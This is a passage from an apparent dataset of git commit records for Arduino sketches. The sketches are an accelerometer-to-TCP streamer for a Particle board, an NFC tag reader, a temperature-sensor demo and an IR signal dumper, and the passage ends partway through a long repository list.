Wire.write(0x08);\n \/\/ Stop I2C transmission\n Wire.endTransmission();\n\n \/\/ Start I2C transmission\n Wire.beginTransmission(Addr);\n \/\/ Select data format register\n Wire.write(0x31);\n \/\/ Select full resolution, +\/-8g\n Wire.write(0x0A);\n \/\/FIFO CTL\n Wire.write(0x38);\n \/\/Make it stream mode\n Wire.write(0x90);\n \/\/ End I2C transmission\n Wire.endTransmission();\n \n delay(300);\n}\n\n\n\nvoid loop() {\n\tswitch(state) {\n \n\tcase STATE_REQUEST:\n\t\tif (Particle.connected()) {\n\t\t\tSerial.println(\"sending devicesRequest\");\n\t\t\tParticle.publish(\"devicesRequest\", WiFi.localIP().toString().c_str(), 10, PRIVATE);\n\t\t\tstate = STATE_REQUEST_WAIT;\n\t\t\tstateTime = millis();\n\t\t}\n\t\tbreak;\n\n\tcase STATE_REQUEST_WAIT:\n\t\tif (millis() - stateTime >= REQUEST_WAIT_MS) {\n\t\t\tstate = STATE_RETRY_WAIT;\n\t\t\tstateTime = millis();\n\t\t}\n\t\tbreak;\n\n\tcase STATE_CONNECT:\n\t\tif (client.connect(serverAddr, serverPort)) {\n\t\t\tclient.println(\"POST \/devices HTTP\/1.0\");\n\t\t\tclient.printlnf(\"Authorization: %s\", nonce);\n\t\t\tclient.printlnf(\"Content-Length: 99999999\");\n\t\t client.println();\n\t\t state = STATE_SEND_DATA;\n\t\t}\n\t\telse {\n\t\t\tstate = STATE_RETRY_WAIT;\n\t\t\tstateTime = millis();\n\t\t}\n\t\tbreak;\n\n\tcase STATE_SEND_DATA:\n\t\t\/\/ In this state, we send data until we lose the connection to the server for whatever\n\t\t\/\/ reason. We'll to the server again.\n\t\tif (!client.connected()) {\n\t\t\tSerial.println(\"server disconnected\");\n\t\t\tclient.stop();\n\t\t\tstate = STATE_RETRY_WAIT;\n\t\t\tstateTime = millis();\n\t\t\tbreak;\n\t\t}\n\n\t\tif (millis() - stateTime >= SEND_WAIT_MS) {\n\t\t\tstateTime = millis();\n\t\t\tsendData();\n\t\t}\n\t\tbreak;\n\n\tcase STATE_RETRY_WAIT:\n\t\tif (millis() - stateTime >= RETRY_WAIT_MS) {\n\t\t\tstate = STATE_REQUEST;\n\t\t}\n\t\tbreak;\n\t\t\n\t}\n\t\n}\n\n\n\nvoid sendData(void) {\n\t\/\/ Called periodically when connected via TCP to the server to update data.\n\t\/\/ Unlike Particle.publish you can push a very large amount of data through this connection,\n\t\/\/ theoretically up to about 800 Kbytes\/sec, but really you should probably shoot for something\n\t\/\/ lower than that, especially with the way connection is being served in the node.js server.\n\n\t\/\/ Taking values from an accelerometer to print to TCP client\n\t\/\/ Acceleration read on three axes and also a timeStamp is added\n\t\n \/\/ Read 6 bytes of data\n \/\/ xAccl lsb, xAccl msb, yAccl lsb, yAccl msb, zAccl lsb, zAccl msb\n unsigned int data[6];\n for(int i = 0; i < 6; i++)\n {\n \/\/ Start I2C transmission\n Wire.beginTransmission(Addr);\n \/\/ Select data register\n Wire.write((50+i));\n \/\/ Stop I2C transmission\n Wire.endTransmission();\n\n \/\/ Request 1 byte of data from the device\n Wire.requestFrom(Addr,1);\n if(Wire.available()==1) \n {\n data[i] = Wire.read();\n }\n }\n\n \/\/ Use 12-bits if data\n xAccl = (((data[1] & 0x0F) * 256) + data[0]);\n if(xAccl > 2047)\n {\n xAccl -= 4096;\n }\n yAccl = (((data[3] & 0x0F) * 256) + data[2]);\n if(yAccl > 2047)\n {\n yAccl -= 4096;\n }\n zAccl = (((data[5] & 0x0F) * 256) + data[4]);\n if(zAccl > 2047)\n {\n zAccl -= 4096;\n }\n\n tmStamp = millis();\n \n Serial.printf(\"%d; X:%d,Y:%d,Z:%d; %d\\n\", tmStamp, xAccl, yAccl, zAccl, count);\n \n \/\/ Use printf and manually added a \\n here. The server code splits on LF only, and using println\/\n\t\/\/ printlnf adds both a CR and LF. It's easier to parse with LF only, and it saves a byte when\n\t\/\/ transmitting.\n\tclient.printf(\"%d; X:%d,Y:%d,Z:%d; %d\\n\", tmStamp, xAccl, yAccl, zAccl, count);\n \n \/\/print date and time stamp every second or so\n if(tmStamp % 1000 == 0)\n {\n Serial.printf(\"%d-%s-%d; %d:%d:%d\\n\", Time.year(), alphadate(Time.month()), Time.day(), Time.hour(), Time.minute(), Time.second());\n client.printf(\"%d-%s-%d; %d:%d:%d\\n\", Time.year(), alphadate(Time.month()), Time.day(), Time.hour(), Time.minute(), Time.second());\n }\n\t\n\tcount++;\n}\n\n\n\/\/ This is the handler for the Particle.function \"devices\"\n\/\/ The server makes this function call after this device publishes a devicesRequest event.\n\/\/ The server responds with an IP address and port of the server, and a nonce (number used once) for authentication.\nint devicesHandler(String data) {\n\tSerial.printlnf(\"devicesHandler data=%s\", data.c_str());\n\tint addr[4];\n\n\tif (sscanf(data, \"%u.%u.%u.%u,%u,%32s\", &addr[0], &addr[1], &addr[2], &addr[3], &serverPort, nonce) == 6) {\n\t\tserverAddr = IPAddress(addr[0], addr[1], addr[2], addr[3]);\n\t\tSerial.printlnf(\"serverAddr=%s serverPort=%u nonce=%s\", serverAddr.toString().c_str(), serverPort, nonce);\n\t\tstate = STATE_CONNECT;\n\t}\n\treturn 0;\n}\n\n\nchar* alphadate(int m)\n{\n switch(m) {\n case 1: return \"JAN\";\n case 2: return \"FEB\";\n case 3: return \"MAR\";\n case 4: return \"APR\";\n case 5: return \"MAY\";\n case 6: return \"JUN\";\n case 7: return \"JUL\";\n case 8: return \"AUG\";\n case 9: return \"SEP\";\n case 10: return \"OCT\";\n case 11: return \"NOV\";\n case 12: return \"DEC\";\n default: return \"\";\n }\n}\nContact GitHub \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'livearqm\/livearqm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d216635d46f9fd6ed1b8f5912551781fe3b47954","subject":"add arduino ino file","message":"add arduino ino file\n","repos":"nfcwormhole\/NFC_WIFI_Share","old_file":"Arduino\/writeNDEFmessage_UsbHost\/writeNDEFmessage_UsbHost.ino","new_file":"Arduino\/writeNDEFmessage_UsbHost\/writeNDEFmessage_UsbHost.ino","new_contents":"\/* Copyright 2013-2014 Ten Wong, wangtengoo7@gmail.com \n*\/\n\n\/*********************************************************\n** sample: send data to USB Serial\n***********************************************************\/\n#if ARDUINO >= 100\n #include \"Arduino.h\"\n#else\n #include \"WProgram.h\"\n#endif\n#include <Wire.h>\n#include <RF430CL330H_Shield.h>\n\n#define IRQ (3)\n#define RESET (4) \nint led = 13;\nRF430CL330H_Shield nfc(IRQ, RESET);\n\nvolatile byte into_fired = 0;\nuint16_t flags = 0;\n\nvoid setup(void) \n{\n Serial.begin(115200); \n Serial.println(\"Hello!\");\n pinMode(led, OUTPUT); \n digitalWrite(led, HIGH);\n \/\/RF430 init\n nfc.begin();\n \n \/\/enable interrupt 1\n attachInterrupt(1, RF430_Interrupt, FALLING);\n \n Serial.println(\"Wait for read or write...\");\n}\n\nvoid loop(void) \n{\n if(into_fired)\n {\n \/\/clear control reg to disable RF\n nfc.Write_Register(CONTROL_REG, nfc.Read_Register(CONTROL_REG) & ~RF_ENABLE); \n delay(750);\n \n \/\/read the flag register to check if a read or write occurred\n flags = nfc.Read_Register(INT_FLAG_REG); \n \/\/Serial.print(\"INT_FLAG_REG = 0x\");Serial.println(flags, HEX);\n\n \/\/ACK the flags to clear\n nfc.Write_Register(INT_FLAG_REG, EOW_INT_FLAG + EOR_INT_FLAG); \n \n if(flags & EOW_INT_FLAG) \/\/check if the tag was written\n {\n Serial.println(\"The tag was written!\");\n printf_tag();\n digitalWrite(led, LOW);\n delay(2000);\n digitalWrite(led, HIGH);\n }\n else if(flags & EOR_INT_FLAG) \/\/check if the tag was read\n {\n Serial.println(\"The tag was readed!\");\n digitalWrite(led, LOW);\n delay(1000);\n digitalWrite(led, HIGH);\n }\n\n flags = 0;\n into_fired = 0; \/\/we have serviced INT1\n\n \/\/Configure INTO pin for active low and re-enable RF\n nfc.Write_Register(CONTROL_REG, nfc.Read_Register(CONTROL_REG) | RF_ENABLE); \n \n \/\/re-enable INTO\n attachInterrupt(1, RF430_Interrupt, FALLING);\n }\n\n delay(100);\n}\n\n\/**\n** @brief interrupt service\n**\/\nvoid RF430_Interrupt() \n{\n into_fired = 1;\n detachInterrupt(1);\/\/cancel interrupt\n}\n\n\/**\n** @brief send data to USB Serial\n**\/\nvoid printf_tag()\n{\n uint16_t msg_length = 0;\n uint16_t tag_length = 0;\n \n \/* get the NDEF Message Length *\/\n msg_length = nfc.Read_OneByte(0x001A) << 8 | nfc.Read_OneByte(0x001B);\n \n \/* entire Tag length *\/\n tag_length = msg_length + 0x1C;\n \n byte buffer[tag_length];\n \n \/* get entire tag data *\/\n nfc.Read_Continuous(0, buffer, tag_length); \n #if 0 \/\/wteng 2014-5-10\n Serial.println(\"RF430[]=0x\");\n for (uint8_t i=0; i < tag_length; i++)\n {\n if (buffer[i] < 0x10)\n Serial.print(\"0\"); \n Serial.print(buffer[i], HEX);\n Serial.print(\" \"); \n if (i%0x10 == 0x0F)\n Serial.println(); \n }\n Serial.println(); \n #endif\n \n \/\/ send to USB Serial\n Serial.write(0xFF); \/\/start bit\n Serial.write(buffer, tag_length);\n Serial.write(0xFF); \/\/stop bit\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/writeNDEFmessage_UsbHost\/writeNDEFmessage_UsbHost.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c8c694493c67d7d745cce32cf54910aab16dc306","subject":"projeto pega ladr\u00e3o","message":"projeto pega ladr\u00e3o\n","repos":"kaiocesar\/karduino","old_file":"prj2.ino","new_file":"prj2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kaiocesar\/karduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dedfbcf979b3b2cc8d3ffb1817d29681def9dc91","subject":"oh yeha. examples!","message":"oh yeha. examples!\n","repos":"dniklaus\/Adafruit_MCP9808_Library","old_file":"examples\/mcp9808test\/mcp9808test.ino","new_file":"examples\/mcp9808test\/mcp9808test.ino","new_contents":"\/**************************************************************************\/\n\/*!\nThis is a demo for the Adafruit MCP9808 breakout\n----> http:\/\/www.adafruit.com\/products\/1782\nAdafruit invests time and resources providing this open source code,\nplease support Adafruit and open-source hardware by purchasing\nproducts from Adafruit!\n*\/\n\/**************************************************************************\/\n\n#include <Wire.h>\n#include \"Adafruit_MCP9808.h\"\n\n\/\/ Create the MCP9808 temperature sensor object\nAdafruit_MCP9808 tempsensor = Adafruit_MCP9808();\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"MCP9808 demo\");\n \n \/\/ Make sure the sensor is found, you can also pass in a different i2c\n \/\/ address with tempsensor.begin(0x19) for example\n if (!tempsensor.begin()) {\n Serial.println(\"Couldn't find MCP9808!\");\n while (1);\n }\n}\n\nvoid loop() {\n \/\/ Read and print out the temperature, then convert to *F\n float c = tempsensor.readTempC();\n float f = c * 9.0 \/ 5.0 + 32;\n Serial.print(\"Temp: \"); Serial.print(c); Serial.print(\"*C\\t\"); \n Serial.print(f); Serial.println(\"*F\");\n delay(250);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/mcp9808test\/mcp9808test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"9d82ac3db01a48ba003255bc39958da67b5a4a87","subject":"fix tabs\/spaces inconsistency","message":"fix tabs\/spaces inconsistency","repos":"itamaro\/home-control-arduino,jossef\/home-control-arduino","old_file":"IRACreceiver\/IRACreceiver.ino","new_file":"IRACreceiver\/IRACreceiver.ino","new_contents":"\/*\r\n * IR AC Receiver - dump raw IR signals serial port\r\n * An PhotoTransistor must be connected to Arduino pin 11.\r\n * Version 1.0 September 2013\r\n * Copyright 2013 Itamar Ostricher\r\n * http:\/\/itamaro.com\/ , https:\/\/github.com\/itamaro\/home-control-arduino\r\n * Shamelessly based on the IRrecvDump example from the IRremote library\r\n * (https:\/\/github.com\/shirriff\/Arduino-IRremote\/blob\/master\/examples\/IRrecvDump\/IRrecvDump.ino)\r\n *\/\r\n\r\n#include <IRremote.h>\r\n\r\n#define RECV_PIN 11\r\n\r\nIRrecv irrecv(RECV_PIN);\r\n\r\ndecode_results results;\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(9600);\r\n irrecv.enableIRIn(); \/\/ Start the receiver\r\n}\r\n\r\n\/\/ Dumps out the decode_results raw data.\r\n\/\/ Call this after IRrecv::decode()\r\nvoid dump(decode_results *results)\r\n{\r\n Serial.print(\"0x\");\r\n Serial.print(results->value, HEX);\r\n Serial.print(\" (\");\r\n Serial.print(results->bits, DEC);\r\n Serial.println(\" bits)\");\r\n Serial.print(\"Raw (\");\r\n Serial.print(results->rawlen, DEC);\r\n Serial.print(\"):\");\r\n for (int i=0; i < results->rawlen; ++i)\r\n {\r\n Serial.print(\" \");\r\n if ((i % 2) == 0)\r\n {\r\n \/\/ Mark gaps (spaces) as negative numbers in the output\r\n Serial.print(\"-\");\r\n }\r\n \/\/ Display mark\/space lengths in microseconds\r\n Serial.print(results->rawbuf[i]*USECPERTICK, DEC);\r\n }\r\n Serial.println(\"\");\r\n}\r\n\r\nvoid loop()\r\n{\r\n if (irrecv.decode(&results))\r\n {\r\n Serial.println(results.value, HEX);\r\n dump(&results);\r\n irrecv.resume(); \/\/ Receive the next value\r\n }\r\n}\r\n","old_contents":"\/*\n * IR AC Receiver - dump raw IR signals serial port\n * An PhotoTransistor must be connected to Arduino pin 11.\n * Version 1.0 September 2013\n * Copyright 2013 Itamar Ostricher\n * http:\/\/itamaro.com\/ , https:\/\/github.com\/itamaro\/home-control-arduino\n * Shamelessly based on the IRrecvDump example from the IRremote library\n * (https:\/\/github.com\/shirriff\/Arduino-IRremote\/blob\/master\/examples\/IRrecvDump\/IRrecvDump.ino)\n *\/\n\n#include <IRremote.h>\n\n#define RECV_PIN 11\n\nIRrecv irrecv(RECV_PIN);\n\ndecode_results results;\n\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n}\n\n\/\/ Dumps out the decode_results raw data.\n\/\/ Call this after IRrecv::decode()\nvoid dump(decode_results *results)\n{\n Serial.print(\"0x\");\n Serial.print(results->value, HEX);\n Serial.print(\" (\");\n Serial.print(results->bits, DEC);\n Serial.println(\" bits)\");\n Serial.print(\"Raw (\");\n Serial.print(results->rawlen, DEC);\n Serial.print(\"):\");\n for (int i=0; i < results->rawlen; ++i)\n {\n Serial.print(\" \");\n if ((i % 2) == 0)\n\t{\n\t \/\/ Mark gaps (spaces) as negative numbers in the output\n Serial.print(\"-\");\n }\n\t\/\/ Display mark\/space lengths in microseconds\n Serial.print(results->rawbuf[i]*USECPERTICK, DEC);\n }\n Serial.println(\"\");\n}\n\nvoid loop()\n{\n if (irrecv.decode(&results))\n {\n Serial.println(results.value, HEX);\n dump(&results);\n irrecv.resume(); \/\/ Receive the next value\n }\n}\r\n","returncode":0,"stderr":"","license":"apache-2.0","lang":"Arduino"} {"commit":"336e578d02294e09f6c95a200bd47b5641b94398","subject":"Added SimpleWebServerWiFi","message":"Added SimpleWebServerWiFi\n","repos":"danielchalef\/Arduino,championswimmer\/Arduino,tomkrus007\/Arduino,bsmr-arduino\/Arduino,ricklon\/Arduino,Cloudino\/Arduino,smily77\/Arduino,ashwin713\/Arduino,superboonie\/Arduino,gberl001\/Arduino,nkolban\/Arduino,NaSymbol\/Arduino,vbextreme\/Arduino,01org\/Arduino,PaintYourDragon\/Arduino,KlaasDeNys\/Arduino,bsmr-arduino\/Arduino,NaSymbol\/Arduino,niggor\/Arduino_cc,henningpohl\/Arduino,snargledorf\/Arduino,gonium\/Arduino,snargledorf\/Arduino,acosinwork\/Arduino,NaSymbol\/Arduino,tommyli2014\/Arduino,eeijcea\/Arduino-1,laylthe\/Arduino,mattvenn\/Arduino,diydrones\/Arduino,bugobliterator\/BUAGI,SmartArduino\/Arduino-1,henningpohl\/Arduino,mboufos\/esp8266-Arduino,garci66\/Arduino,jaimemaretoli\/Arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,xxxajk\/Arduino-1,adafruit\/ESP8266-Arduino,andyvand\/Arduino-1,andyvand\/Arduino-1,radut\/Arduino,steamboating\/Arduino,rodibot\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,radut\/Arduino,talhaburak\/Arduino,diydrones\/Arduino,henningpohl\/Arduino,cscenter\/Arduino,381426068\/Arduino,tomkrus007\/Arduino,adamkh\/Arduino,chaveiro\/Arduino,damellis\/Arduino,NeuralSpaz\/Arduino,shannonshsu\/Arduino,PeterVH\/Arduino,Chris--A\/Arduino,arduino-org\/Arduino,byran\/Arduino,ms-iot\/Arduino,superboonie\/Arduino,tbowmo\/Arduino,NaSymbol\/Arduino,jabezGit\/Arduino,myrtleTree33\/Arduino,championswimmer\/Arduino,byran\/Arduino,ms-iot\/Arduino,ashwin713\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gonium\/Arduino,pdNor\/Arduino,nandojve\/Arduino,arduino-org\/Arduino,jomolinare\/Arduino,jabezGit\/Arduino,diydrones\/Arduino,EmuxEvans\/Arduino,jaimemaretoli\/Arduino,stevemayhew\/Arduino,ogferreiro\/Arduino,benwolfe\/esp8266-Arduino,Chris--A\/Arduino,drpjk\/Arduino,lukeWal\/Arduino,scdls\/Arduino,jaej-dev\/Arduino,stickbreaker\/Arduino,laylthe\/Arduino,ogferreiro\/Arduino,jmgonzalez00449\/Arduino,myrtleTree33\/Arduino,zaiexx\/Arduino,talhaburak\/Arduino,OpenDevice\/Arduino,nandojve\/Arduino,eduardocasarin\/Arduino,gonium\/Arduino,aichi\/Arduino-2,bugobliterator\/BUAGI,onovy\/Arduino,wilhelmryan\/Arduino,paulo-raca\/ESP8266-Arduino,Cloudino\/Arduino,wayoda\/Arduino,Alfredynho\/AgroSis,KlaasDeNys\/Arduino,lukeWal\/Arduino,ogahara\/Arduino,NaSymbol\/Arduino,linino\/Arduino,eddyst\/Arduino-SourceCode,eduardocasarin\/Arduino,Cloudino\/Cloudino-Arduino-IDE,mboufos\/esp8266-Arduino,nandojve\/Arduino,mc-hamster\/esp8266-Arduino,shannonshsu\/Arduino,bugobliterator\/BUAGI,me-no-dev\/Arduino-1,adamkh\/Arduino,superboonie\/Arduino,chaveiro\/Arduino,leftbrainstrain\/Arduino-ESP8266,niggor\/Arduino_cc,zaiexx\/Arduino,eeijcea\/Arduino-1,linino\/Arduino,Chris--A\/Arduino,sanyaade-iot\/Arduino-1,lulufei\/Arduino,nkolban\/Arduino,mangelajo\/Arduino,mattvenn\/Arduino,bigjosh\/Arduino,koltegirish\/Arduino,stickbreaker\/Arduino,scdls\/Arduino,PeterVH\/Arduino,me-no-dev\/Arduino-1,jabezGit\/Arduino,Protoneer\/Arduino,andrealmeidadomingues\/Arduino,ogferreiro\/Arduino,ccoenen\/Arduino,ssvs111\/Arduino,benwolfe\/esp8266-Arduino,steamboating\/Arduino,smily77\/Arduino,tbowmo\/Arduino,mattvenn\/Arduino,scdls\/Arduino,adamkh\/Arduino,zederson\/Arduino,Ramoonus\/Arduino,superboonie\/Arduino,xxxajk\/Arduino-1,bigjosh\/Arduino,gonium\/Arduino,stevemarple\/Arduino-org,UDOOboard\/Arduino,SmartArduino\/Arduino-1,radut\/Arduino,shiitakeo\/Arduino,jaehong\/Xmegaduino,odbol\/Arduino,ari-analytics\/Arduino,aichi\/Arduino-2,pdNor\/Arduino,paulo-raca\/ESP8266-Arduino,ssvs111\/Arduino,sanyaade-iot\/Arduino-1,eduardocasarin\/Arduino,arunkuttiyara\/Arduino,Ramoonus\/Arduino,raimohanska\/Arduino,ForestNymph\/Arduino_sources,mangelajo\/Arduino,ForestNymph\/Arduino_sources,wdoganowski\/Arduino,koltegirish\/Arduino,UDOOboard\/Arduino,steamboating\/Arduino,andyvand\/Arduino-1,tskurauskas\/Arduino,xxxajk\/Arduino-1,laylthe\/Arduino,jomolinare\/Arduino,adamkh\/Arduino,weera00\/Arduino,OpenDevice\/Arduino,diydrones\/Arduino,acosinwork\/Arduino,Protoneer\/Arduino,eddyst\/Arduino-SourceCode,ccoenen\/Arduino,Protoneer\/Arduino,NicoHood\/Arduino,zenmanenergy\/Arduino,eeijcea\/Arduino-1,ms-iot\/Arduino,niggor\/Arduino_cc,ThoughtWorksIoTGurgaon\/Arduino,chaveiro\/Arduino,adamkh\/Arduino,ogferreiro\/Arduino,onovy\/Arduino,tannewt\/Arduino,talhaburak\/Arduino,PeterVH\/Arduino,wilhelmryan\/Arduino,radut\/Arduino,me-no-dev\/Arduino-1,lulufei\/Arduino,mangelajo\/Arduino,ogferreiro\/Arduino,eddyst\/Arduino-SourceCode,bigjosh\/Arduino,plinioseniore\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stickbreaker\/Arduino,vbextreme\/Arduino,myrtleTree33\/Arduino,plinioseniore\/Arduino,fungxu\/Arduino,Cloudino\/Arduino,gonium\/Arduino,mateuszdw\/Arduino,acosinwork\/Arduino,noahchense\/Arduino-1,PaoloP74\/Arduino,benwolfe\/esp8266-Arduino,ektor5\/Arduino,tomkrus007\/Arduino,snargledorf\/Arduino,noahchense\/Arduino-1,paulmand3l\/Arduino,acosinwork\/Arduino,kidswong999\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,myrtleTree33\/Arduino,ogahara\/Arduino,eddyst\/Arduino-SourceCode,jaehong\/Xmegaduino,zenmanenergy\/Arduino,rodibot\/Arduino,stevemayhew\/Arduino,ms-iot\/Arduino,gberl001\/Arduino,OpenDevice\/Arduino,ntruchsess\/Arduino-1,damellis\/Arduino,probonopd\/Arduino,EmuxEvans\/Arduino,damellis\/Arduino,shiitakeo\/Arduino,PaintYourDragon\/Arduino,shannonshsu\/Arduino,gestrem\/Arduino,rcook\/DesignLab,snargledorf\/Arduino,tommyli2014\/Arduino,NicoHood\/Arduino,fungxu\/Arduino,gestrem\/Arduino,byran\/Arduino,andrealmeidadomingues\/Arduino,pdNor\/Arduino,ogahara\/Arduino,jaej-dev\/Arduino,EmuxEvans\/Arduino,jaimemaretoli\/Arduino,diydrones\/Arduino,eeijcea\/Arduino-1,wayoda\/Arduino,jaehong\/Xmegaduino,weera00\/Arduino,Ramoonus\/Arduino,noahchense\/Arduino-1,rodibot\/Arduino,plaintea\/esp8266-Arduino,ricklon\/Arduino,stevemayhew\/Arduino,benwolfe\/esp8266-Arduino,snargledorf\/Arduino,toddtreece\/esp8266-Arduino,piersoft\/esp8266-Arduino,laylthe\/Arduino,cscenter\/Arduino,sanyaade-iot\/Arduino-1,ccoenen\/Arduino,Alfredynho\/AgroSis,fungxu\/Arduino,ntruchsess\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,NicoHood\/Arduino,plinioseniore\/Arduino,paulo-raca\/ESP8266-Arduino,ikbelkirasan\/Arduino,Alfredynho\/AgroSis,ikbelkirasan\/Arduino,cscenter\/Arduino,UDOOboard\/Arduino,wdoganowski\/Arduino,PaintYourDragon\/Arduino,jomolinare\/Arduino,stevemayhew\/Arduino,Cloudino\/Cloudino-Arduino-IDE,piersoft\/esp8266-Arduino,ari-analytics\/Arduino,bigjosh\/Arduino,tomkrus007\/Arduino,zaiexx\/Arduino,NeuralSpaz\/Arduino,garci66\/Arduino,gestrem\/Arduino,nkolban\/Arduino,ogahara\/Arduino,ashwin713\/Arduino,fungxu\/Arduino,HCastano\/Arduino,ForestNymph\/Arduino_sources,spapadim\/Arduino,majenkotech\/Arduino,andyvand\/Arduino-1,raimohanska\/Arduino,stickbreaker\/Arduino,gurbrinder\/Arduino,steamboating\/Arduino,odbol\/Arduino,Orthogonal-Systems\/arduino-libs,damellis\/Arduino,stevemarple\/Arduino-org,tomkrus007\/Arduino,ssvs111\/Arduino,onovy\/Arduino,bugobliterator\/BUAGI,jmgonzalez00449\/Arduino,ccoenen\/Arduino,lulufei\/Arduino,paulmand3l\/Arduino,Protoneer\/Arduino,lukeWal\/Arduino,andrealmeidadomingues\/Arduino,PaoloP74\/Arduino,cscenter\/Arduino,ssvs111\/Arduino,jabezGit\/Arduino,ashwin713\/Arduino,drpjk\/Arduino,gonium\/Arduino,rcook\/DesignLab,byran\/Arduino,OpenDevice\/Arduino,bsmr-arduino\/Arduino,wdoganowski\/Arduino,Cloudino\/Cloudino-Arduino-IDE,byran\/Arduino,gurbrinder\/Arduino,vbextreme\/Arduino,wilhelmryan\/Arduino,superboonie\/Arduino,niggor\/Arduino_cc,381426068\/Arduino,stickbreaker\/Arduino,HCastano\/Arduino,NaSymbol\/Arduino,Protoneer\/Arduino,jabezGit\/Arduino,jaimemaretoli\/Arduino,andyvand\/Arduino-1,steamboating\/Arduino,KlaasDeNys\/Arduino,adamkh\/Arduino,ccoenen\/Arduino,probonopd\/Arduino,lukeWal\/Arduino,garci66\/Arduino,jmgonzalez00449\/Arduino,ntruchsess\/Arduino-1,tommyli2014\/Arduino,mboufos\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,superboonie\/Arduino,adafruit\/ESP8266-Arduino,andrealmeidadomingues\/Arduino,lulufei\/Arduino,smily77\/Arduino,lukeWal\/Arduino,paulo-raca\/ESP8266-Arduino,zederson\/Arduino,ricklon\/Arduino,acosinwork\/Arduino,damellis\/Arduino,weera00\/Arduino,shiitakeo\/Arduino,xxxajk\/Arduino-1,EmuxEvans\/Arduino,ikbelkirasan\/Arduino,KlaasDeNys\/Arduino,ari-analytics\/Arduino,mateuszdw\/Arduino,rodibot\/Arduino,odbol\/Arduino,arunkuttiyara\/Arduino,Orthogonal-Systems\/arduino-libs,rcook\/DesignLab,rodibot\/Arduino,Cloudino\/Cloudino-Arduino-IDE,xxxajk\/Arduino-1,OpenDevice\/Arduino,vbextreme\/Arduino,ektor5\/Arduino,byran\/Arduino,eggfly\/arduino,jmgonzalez00449\/Arduino,eddyst\/Arduino-SourceCode,mateuszdw\/Arduino,weera00\/Arduino,henningpohl\/Arduino,jamesrob4\/Arduino,zederson\/Arduino,PeterVH\/Arduino,mateuszdw\/Arduino,gberl001\/Arduino,ssvs111\/Arduino,ari-analytics\/Arduino,andrealmeidadomingues\/Arduino,linino\/Arduino,pdNor\/Arduino,majenkotech\/Arduino,PaintYourDragon\/Arduino,wdoganowski\/Arduino,mateuszdw\/Arduino,tskurauskas\/Arduino,jamesrob4\/Arduino,ForestNymph\/Arduino_sources,nandojve\/Arduino,NaSymbol\/Arduino,jomolinare\/Arduino,acosinwork\/Arduino,danielchalef\/Arduino,superboonie\/Arduino,rcook\/DesignLab,ForestNymph\/Arduino_sources,spapadim\/Arduino,jamesrob4\/Arduino,381426068\/Arduino,acosinwork\/Arduino,koltegirish\/Arduino,Gourav2906\/Arduino,koltegirish\/Arduino,toddtreece\/esp8266-Arduino,ricklon\/Arduino,sanyaade-iot\/Arduino-1,zederson\/Arduino,byran\/Arduino,tommyli2014\/Arduino,NicoHood\/Arduino,zenmanenergy\/Arduino,karlitxo\/Arduino,eeijcea\/Arduino-1,ricklon\/Arduino,garci66\/Arduino,mc-hamster\/esp8266-Arduino,ashwin713\/Arduino,Ramoonus\/Arduino,jomolinare\/Arduino,Alfredynho\/AgroSis,paulmand3l\/Arduino,NicoHood\/Arduino,niggor\/Arduino_cc,andyvand\/Arduino-1,Cloudino\/Arduino,Chris--A\/Arduino,ogahara\/Arduino,PeterVH\/Arduino,piersoft\/esp8266-Arduino,kidswong999\/Arduino,weera00\/Arduino,eddyst\/Arduino-SourceCode,jaimemaretoli\/Arduino,eddyst\/Arduino-SourceCode,NeuralSpaz\/Arduino,Chris--A\/Arduino,SmartArduino\/Arduino-1,shannonshsu\/Arduino,UDOOboard\/Arduino,lukeWal\/Arduino,talhaburak\/Arduino,shiitakeo\/Arduino,arduino-org\/Arduino,arduino-org\/Arduino,tbowmo\/Arduino,vbextreme\/Arduino,01org\/Arduino,OpenDevice\/Arduino,vbextreme\/Arduino,zenmanenergy\/Arduino,ntruchsess\/Arduino-1,eggfly\/arduino,steamboating\/Arduino,ashwin713\/Arduino,PaoloP74\/Arduino,karlitxo\/Arduino,jaimemaretoli\/Arduino,Chris--A\/Arduino,gberl001\/Arduino,smily77\/Arduino,paulmand3l\/Arduino,wayoda\/Arduino,championswimmer\/Arduino,shiitakeo\/Arduino,adafruit\/ESP8266-Arduino,mattvenn\/Arduino,smily77\/Arduino,adafruit\/ESP8266-Arduino,tbowmo\/Arduino,onovy\/Arduino,eggfly\/arduino,HCastano\/Arduino,01org\/Arduino,arunkuttiyara\/Arduino,kidswong999\/Arduino,jaehong\/Xmegaduino,tannewt\/Arduino,karlitxo\/Arduino,paulo-raca\/ESP8266-Arduino,EmuxEvans\/Arduino,aichi\/Arduino-2,bigjosh\/Arduino,wdoganowski\/Arduino,gberl001\/Arduino,ikbelkirasan\/Arduino,mangelajo\/Arduino,wilhelmryan\/Arduino,bugobliterator\/BUAGI,stevemarple\/Arduino-org,mboufos\/esp8266-Arduino,karlitxo\/Arduino,koltegirish\/Arduino,fungxu\/Arduino,jomolinare\/Arduino,stevemayhew\/Arduino,ari-analytics\/Arduino,eggfly\/arduino,smily77\/Arduino,noahchense\/Arduino-1,stevemarple\/Arduino-org,mattvenn\/Arduino,championswimmer\/Arduino,shannonshsu\/Arduino,radut\/Arduino,tbowmo\/Arduino,andyvand\/Arduino-1,lulufei\/Arduino,kidswong999\/Arduino,jmgonzalez00449\/Arduino,paulmand3l\/Arduino,w